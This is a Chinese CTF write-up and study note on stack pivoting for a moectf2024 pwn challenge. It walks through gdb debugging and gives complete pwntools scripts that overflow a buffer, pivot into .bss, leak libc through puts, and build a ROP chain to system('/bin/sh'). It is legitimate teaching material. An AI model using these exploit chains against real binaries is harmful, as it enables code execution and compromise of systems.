栈迁移学习笔记(moectf2024/ 栈的奇妙之旅)
最后编辑时间:2025-02-21 21:05:16 星期五
栈迁移学习笔记
栈迁移对二进制要求了解较深,前置技能相对也比较多
前置技能:
- python + pwntool 使用
- Linux ELF文件pwn知识
- gdb动态调试
一 、查看题目
看一眼保护和架构
进入ida查看
题目分析:题目还是比较干净的,没有什么干扰,缓冲区128
,可以写入0x90
,明显的栈溢出漏洞,没有后门函数。
二、尝试直接常规思路
常规思路下,我们做题方法一般是:
payload = flat([
cyclic(128), #抵达溢出点
file.search(asm("pop rdi; ret;")).__next__(), #传递puts@got
file.got['puts'],
file.plt['puts'], #调用puts,泄露基址
file.sym['vuln'] #返回到漏洞函数再次触发
])
但是这个payload
使用len()
计算长度后发现长达160 (注:0x90=144),也就是说,出去用于缓冲区的,真正供我们使用的只有16字节
三、那为什么我们不换一个位置写入呢?
既然栈上不够位置写入,那写到其他可以写入的地方不就好了。想想看,内存空间里,有什么是可以用户写入的地方吗?无非四个地方:栈区
、堆区
、.bss
、.data
,题目有NX保护
阻止我们对堆栈动手脚,那我们就优先考虑.bss
、.data
。
在之前做题的时候,我们总是习惯性的覆盖掉了下图的s,这个时候就要它来发挥作用了。
我们要用的两条指令为leave; ret;
,具体可参考这个:https://www.cnblogs.com/ZIKH26/articles/15817337.html
为了防止忘记了这里三个寄存器是干嘛的,先写在这里:
rsp
:指示栈顶rbp
:指示栈底rip
:下一条指令地址
简而言之:
leave;
作用为:
mov rsp rbp;
将ebp的值赋值给seppop rbp;
将栈顶的值弹入ebp
ret;
的作用为:
pop rip
将栈顶的弹入eip
请注意:
- 因为
rsp
时刻标示着栈顶,所以进行pop
后要进行+8
(64位)或+4
(32位) - 本教程所有的图都是使用64位,从高地址向低地址,和其他教程配合看时候注意时候相同
四、让我们来尝试栈迁移
既然要迁移到.bss
或.data
,那么我们就要知道对应的地址在哪里,打开ida:
优先选择.bss
段,因为.data
距离got
表太近了,不太好操作,那我们选择0x404020 + 200
作为.bss
地址,开始写代码:
from pwn import *
context(arch="AMD64", os="linux", log_level="debug")
io = process("./pwn")
# io = remote("192.168.112.1", 60481)
file = ELF("./pwn")
libc = ELF("./libc.so.6")
bss = 0x404000 + 0x200
payload = flat([
b"a"*0x80,
bss,
file.sym['vuln']
])
print("payload",len(payload))
gdb.attach(io)
io.sendafter(b"me?", payload)
sleep(1000)
io.interactive()
payload长度为144
,正好为0x90
加入gdb调试代码,在虚拟机中调试
此时还在read
函数内部,使用ni
单步调试运行(输入一次后就可以一直回车重复),直到这一步:
read
即将返回,注意观察rdp
和rsp
继续单步进入,观察触发leave
和ret
行为,我们已经进行了第一次leave
rdb
已经位于.bss
段上
继续运行,观察vule
返回后再次触发了本身,我们一路单步到达这里
注意看这一步,它再次恢复了rbp
到栈区上,这不是我们想要的行为,我们要调用read
写数据到.bss
上,我们要在返回函数跳过这一步。
使用ida分析,是这两条导致恢复了rbp
到栈区上,我们要跳过这一段,那我们分析一下,跳到哪一步好:
有两部分有用,一部分是read_leave_ret
、另外一个是leave_ret
,写入代码试试看
#上方省略
bss = 0x404000 + 0x200
read_leave_ret = 0x4011E5
leave_ret = 0x4011FB
payload = flat([
b"a"*0x80,
bss,
read_leave_ret
])
gdb.attach(io)
io.sendafter(b"me?", payload)
sleep(1000)
io.interactive()
带入调试器看看
成功跳过,接下来我们要知道read的数据放在哪里了,写下代码:
#上方省略
bss = 0x404000 + 0x200
read_leave_ret = 0x4011E5
leave_ret = 0x4011FB
payload = flat([
b"a"*0x80,
bss,
read_leave_ret
])
io.sendafter(b"me?", payload)
gdb.attach(io)
io.send(b"A"*80)
sleep(1000)
io.interactive()
先单步运行到read
即将ret
的地方,我们猜想,输入的数据可能存放的位置:
1.栈上:即RSP
附近
2..bss
上:即RBP
附近
gdb有个查看内存地址的指令:
x/10i 0xffff1111
x/10x 0xffff1111
10
是你要查看的个数,i
、x
是以指令、十六进制查看,我们尝试查看正负50条:
建议使用ctrl+shift+c
复制、ctrl+shift+v
粘贴
x/100x 0x404150
x/100x 0x7FFF81F33C0B
根据简单的对照ASCLL码可知写在bss段了
为什么写到了bss段?
回到第一次leave;ret;
后的地方
注意这条指令!
运行到call read
注意高光部分的代码和寄存器
0x4011e5 <vuln+27>:lea rax,[rbp-0x80]
:将 [rbp - 0x80]
的内存地址加载到 rax
寄存器中,
还记得rbp
的地址是啥吗?对的,.bss
上!
回到正题
画个图来看看发生了什么:(黄色底色的是栈顶)
之后ret
此时有一个有趣的现象,rbp
比rsp
地址低,和正常情况反过来了,但是此时pop
仍然是rsp
向高地址移动
五、布局第二次payload
我们现在已经可以写入到0x404180
,并且可以写入0x90
字节的数据了,那我们尝试布局数据:
我们发现数据并不是那么好布置的,我们可以想:刚刚我们只是运行了read
,后面一定会运行leave; ret;
(请注意,此时我们已经运行过一次leave;ret;了,这里是第二次),
我们先尝试虚空布局:
第一步,没有什么问题
第二步:因为要进行pop rbp;
,rsp
一定是移动到高地址,0x404200
放置的是rbp
地址
我们先随便假设一个rbp
地址,然后执行ret,发现0x404200
放置的是返回函数地址
第三步:我们要思考要调用什么函数,很显然这里写入数据的大小并没有发生变化,仍然为16字节
,并没有达到栈迁移的目标,现在我们有两个选择:read_leave_ret
或leave_ret
,稍加思考发现,如果再次调用read
,需要再次布局payload
,但是写入的位置需要调整(我们刚刚开始的rbp
是0x40200
,但是写入的是0x40180
),不适合。那就试试看leave; ret;
(此时为第三次leave;ret;了)
第一步,没有什么问题
第二步:因为要进行pop rbp;
,rsp
一定是移动到高地址,0x404180
放置的是rbp
地址
第三步:准备返回
此时你有没有发现,rbp
和rsp
的位置关系恢复了,也就是说我们已经成功构造出一个栈了!并且这个栈的内容我们在第二次read
可以完全控制!,此时位于.bss
段NX保护也管不到了,没错,和你想的一样,我们可以布置这些代码
注意!此时的pop
需要具体问题具体分析
现在进行倒推:
我们发现rbp
位置似乎还没确定,因为等会我们还会进行一次栈迁移,为了方便,就设置在.bss
上,但是注意不要和原来的冲突了,最终的布局如图:
写成代码:
bss = 0x404000 + 0x200
read_leave_ret = 0x4011E5
leave_ret = file.search(asm("leave; ret;")).__next__()
puts_got = file.got['puts']
puts_plt = file.plt['puts']
pop_rdi = file.search(asm("pop rdi; ret;")).__next__()
payload = flat([
b"a"*0x80,
bss,
read_leave_ret
])
io.sendafter(b"me?", payload)
payload = flat([
bss + 0x600,
pop_rdi, puts_got,
puts_plt,
read_leave_ret
]).ljust(0x80, b'\x00') + p64(bss - 0x80) + p64(leave_ret) #使用\x00补位
io.send(payload)
io.interactive()
接受到泄露函数,转化为偏移,固定操作代码
io.recvuntil(b'\n')
libc.address = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['puts']
六、又一次栈迁移
不是,为什么又要迁移,直接在返回函数上接着搞不好吗?看图:
进行pop rdi
后,栈顶位置已经是在函数上了,需要重新布置栈了,没办法,老老实实上调试器重复
现在回顾代码:
from pwn import *
context(arch="AMD64", os="linux", log_level="debug")
io = process("./pwn")
# io = remote("192.168.112.1", 60481)
file = ELF("./pwn")
libc = ELF("./libc.so.6")
bss = 0x404000 + 0x200
read_leave_ret = 0x4011E5
# leave_ret = 0x4011FB
leave_ret = file.search(asm("leave; ret;")).__next__()
puts_got = file.got['puts']
puts_plt = file.plt['puts']
pop_rdi = file.search(asm("pop rdi; ret;")).__next__()
payload = flat([
b"a"*0x80,
bss,
read_leave_ret
])
io.sendafter(b"me?", payload)
payload = flat([
bss + 0x600,
pop_rdi, puts_got,
puts_plt,
read_leave_ret
]).ljust(0x80, b'\x00') + p64(bss - 0x80) + p64(leave_ret)
libc.address = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['puts']
io.send(payload)
gdb.attach(io)
sleep(1000)
io.interactive()
gdb定位写入数据位置
用软件画出来
又是找位置时间,这里不再赘述,类似第一次栈迁移
- mov rsp rbp;
- pop rbp;
- pop rid;
- mov rsp rbp;
- pop rbp;
- pop rid;
- 总结倒推
写成代码:
payload = flat([
bss,
pop_rdi,libc.search("/bin/sh\x00").__next__(),
pop_rdi+1,#加上ret平衡栈
libc.sym['system']
]).ljust(0x80,b'\x00')+p64(bss+0x600-0x80)+p64(leave_ret)
io.send(payload)
为什么要使用ret
平衡栈?
注意调用system
时的栈对齐问题。如果直接返回至libc.sym['system']
,程序运行时触发 SIGSEGV(段错误)。gdb调试程序在 system 函数中这个指令处崩溃:
movaps xmmword ptr [rsp + 0x50], xmm0
其实是 movaps
指令要求目标地址(此处为 rsp + 0x50
)16 字节对齐(能被 16 整除)导致的。通过插入ret
从而使 rsp
+8实现16 字节对齐。
七、总结
from pwn import *
context(arch="AMD64",os="linux",log_level="debug")
# io = process("./pwn")
io = remote("192.168.112.1",60481)
file = ELF("./pwn")
libc = ELF("./libc.so.6")
bss = 0x404000 + 0x200
leave_ret = file.search(asm("leave; ret;")).__next__()
puts_got = file.got['puts']
puts_plt = file.plt['puts']
pop_rdi = file.search(asm("pop rdi; ret;")).__next__()
# 返回到read、leave、ret
read_leave_ret = 0x4011E5
payload = flat([
b'a'*0x80,
bss,
read_leave_ret
])
io.sendafter(b"me?", payload)
payload = flat([
bss + 0x600,
pop_rdi, puts_got,
puts_plt,
read_leave_ret
]).ljust(0x80, b'\x00') + p64(bss - 0x80) + p64(leave_ret)
# gdb.attach(io)
io.send(payload)
io.recvuntil(b'\n')
libc.address = u64(io.recv(6).ljust(8,b"\x00"))-libc.sym['puts']
payload = flat([
bss,
pop_rdi,libc.search("/bin/sh\x00").__next__(),
pop_rdi+1,#ret
libc.sym['system']
]).ljust(0x80,b'\x00')+p64(bss+0x600-0x80)+p64(leave_ret)
io.send(payload)
io.interactive()
ls /
cat /flag
技术总结:主打一个累+难以理解,要很强大的反退能力,变来变去容易晕